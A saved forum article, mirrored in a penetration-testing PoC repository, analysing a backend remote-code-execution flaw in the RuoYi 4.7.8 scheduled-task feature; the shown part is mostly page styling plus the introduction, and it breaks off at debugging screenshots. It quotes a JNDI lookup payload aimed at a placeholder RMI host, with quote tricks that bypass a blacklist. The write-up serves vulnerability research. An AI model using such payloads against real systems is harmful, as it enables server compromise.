admin/Penetration_Testing_POC
1
0
Fork 0
mirror of https://github.com/Mr-xn/Penetration_Testing_POC.git synced 2025-11-07 03:34:40 +00:00
Code Issues Packages Projects Releases Wiki Activity
Penetration_Testing_POC/books/若依最新版(4.7.8)后台RCE.html

585 lines
4.1 MiB
HTML
Raw Normal View History

add 多篇高质量代码审计文章 JFinalCMS代码审计 Java安全 - CommonsCollections链 全系列详解 Ognl小trick U8cloud base64 SQL注入漏洞分析 Xunruicms反序列化漏洞利用链挖掘过程 一种 ysoserial.jar 反序列化Payload的解码 易宝OA文件写入+读取漏洞分析 易宝OA代码审计[ExecuteSqlForSingle SQL注入_ UploadFile文件上传_DownloadRptFile文件下载] 帆软channel接口反序列化漏洞分析 代码审计&漏洞分析：74cmsSE 系列 若依最新版(4.7.8)后台RCE 万字总结信息收集(全网最全) 记宏景的一次代码审计[DisplayFiles文件读取和showmediainfo注入] 一次有趣的锐捷前台无条件RCE漏洞分析 深澜计费管理系统代码审计[SSRF_文件下载_反序列化RCE_SQL注入]
2024-05-01 12:35:42 +08:00
<!DOCTYPE html> <html><!--
Page saved with SingleFile
url: https://forum.butian.net/share/2796
--><meta charset=utf-8>
<meta http-equiv=X-UA-Compatible content="IE=edge">
<meta name=viewport content="width=device-width, initial-scale=1">
<meta name=csrf-token content=VD0owLiLrat8LaN2vBAqJtnLFngrtZgXtzYM7DqG>
<title>若依最新版(4.7.8)后台RCE</title>
<meta name=keywords content=奇安信,天眼,补天,漏洞,情报,攻防,安全>
<meta name=description content=奇安信攻防社区-若依最新版后台RCE>
<meta name=author content="QIANXIN Team">
<meta name=copyright content="2021 QIANXIN.com">
<style>@media(max-width:767px){}</style>
<style>/*!
* Bootstrap v3.4.1 (https://getbootstrap.com/)
* Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
*//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a:active,a:hover{outline:0}img{border:0}textarea{color:inherit;font:inherit;margin:0}textarea{overflow:auto}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{-webkit-tap-highlight-color:rgba(0,0,0,0)}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}h2,h3{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h3{margin-top:20px;margin-bottom:10px}h3{font-size:24px}p{margin:0 0 10px}@media(min-width:768px){}.text-muted{color:#777}ul{margin-top:0;margin-bottom:10px}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}@media(min-width:768px){}code{color:#c7254e}pre{display:block;margin:0 0 10px;color:#333;word-break:break-all;border:1px solid #ccc}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media(min-width:768px){.container{width:750px}}@media(min-width:992px){.container{width:970px}}@media(min-width:1200px){.container{width:1170px}}.row{margin-right:-15px;margin-left:-15px}.col-xs-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-12{float:left}.col-xs-12{width:100%}@media(min-width:768px){}@media(min-width:992px){.col-md-9{float:left}}@media(min-width:1200px){}@media screen and (max-width:767px){}@media screen and (-webkit-min-device-pixel-ratio:0){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-device-width:480px) and (orientation:landscape){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}@media screen and (min-width:768px){}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@media(min-width:768px){}@media(min-width:992px){}@media all and (transform-3d),(-webkit-transform-3d){}@media screen and (min-width:768px){}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}@-ms-viewport{width:device-width}@media(max-width:767px){}@media(max-width:767p
<style>/*!
* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
*/@font-face{font-family:"FontAwesome";src:url(data:font/woff2;base64,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
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}pre{white-space:pre-wrap}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}ul{padding:0}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.mt-30{margin-top:30px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-comment{color:green}.hljs-keyword{color:#00f}.hljs-string{color:#a31515}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body a{background-color:transparent;color:var(--color-accent-fg);text-decoration:none}.markdown-body a:active,.markdown-body a:hover{outline-width:0}.markdown-body strong{font-weight:600}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body a:hover{text-decoration:underline}.markdown-body h2,.markdown-body h3{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-weight:600;font-size:1.25em}.markdown-body ul{padding-left:2em}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inhe
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
<!--[if lt IE 9]>
<script src="/static/js/html5shiv.min.js"></script>
<script src="/static/js/respond.min.js"></script>
<![endif]-->
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.
* Waves v0.7.5
* http://fian.my.id/Waves
*
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
* Released under the MIT license
* https://github.com/fians/Waves/blob/master/LICENSE
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:transl
<body>
<div class="global-nav mb-50" style="display:none !important">
</div>
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
<!--[if lt IE 9]>
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>，放学别走，升级完浏览器再说
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
</div>
<![endif]-->
</div>
<div class=wrap>
<div class=container>
<div class="row mt-10">
<div class="col-xs-12 col-md-9 main">
<div class=widget-article>
<h3 class="title word-wrap">若依最新版后台RCE</h3>
<ul class=taglist-inline>
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
</ul>
<div class="content mt-10">
<div class="quote mb-20">
若依定时任务的实现是通过反射调来调用目标类，目标类的类名可控导致rce。在版本迭代中增加了黑白名单来防御，但仍然可绕过！
</div>
<textarea id=md_view_content style=display:none>前言
--
关于若依漏洞或者是审计的文章网上挺多的，本来就只是想写一下最新版4.7.8的RCE。因为之前没接触过若依就打算看看定时任务实现的原理以及历史的漏洞，但是在查阅资料的时候，发现了**一些**文章给的poc有问题，比如作者写的是&amp;lt;4.7.2时，给的是`org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://ip:端口/refObj')`，大概作者的目的是想说明可以通过若依对字符串的处理的一些问题(参数中的`'`会替换为空)绕过对`rmi`的过滤，但是却没有考虑到`org.springframework.jndi`在4.7.1版本中已经加入了黑名单。作者也只是给出了poc，并没有复现的过程！
计划任务实现原理
--------
从[官方文档](https://doc.ruoyi.vip/ruoyi/document/htsc.html#%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1)可以看出可以通过两种方法调用目标类：
- Bean调用示例：ryTask.ryParams('ry')
- Class类调用示例：com.ruoyi.quartz.task.RyTask.ryParams('ry')
接下来咱调试一下，看看具体是如何实现的这个功能的
首先直接在测试类下个断点，看看调用
![image-20240305195847965](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-cf50d3b9d468ec8186ecf8a22ba5d9ecaa92035a.png)
通过系统默认的任务1来执行这个测试类
![image-20240305200210899](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-9cef43be342236a86d51d10050a526b64c87a3c8.png)
![image-20240305200151822](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-24dd1f32e038ad07c3740dc88c46f65faa25b72b.png)
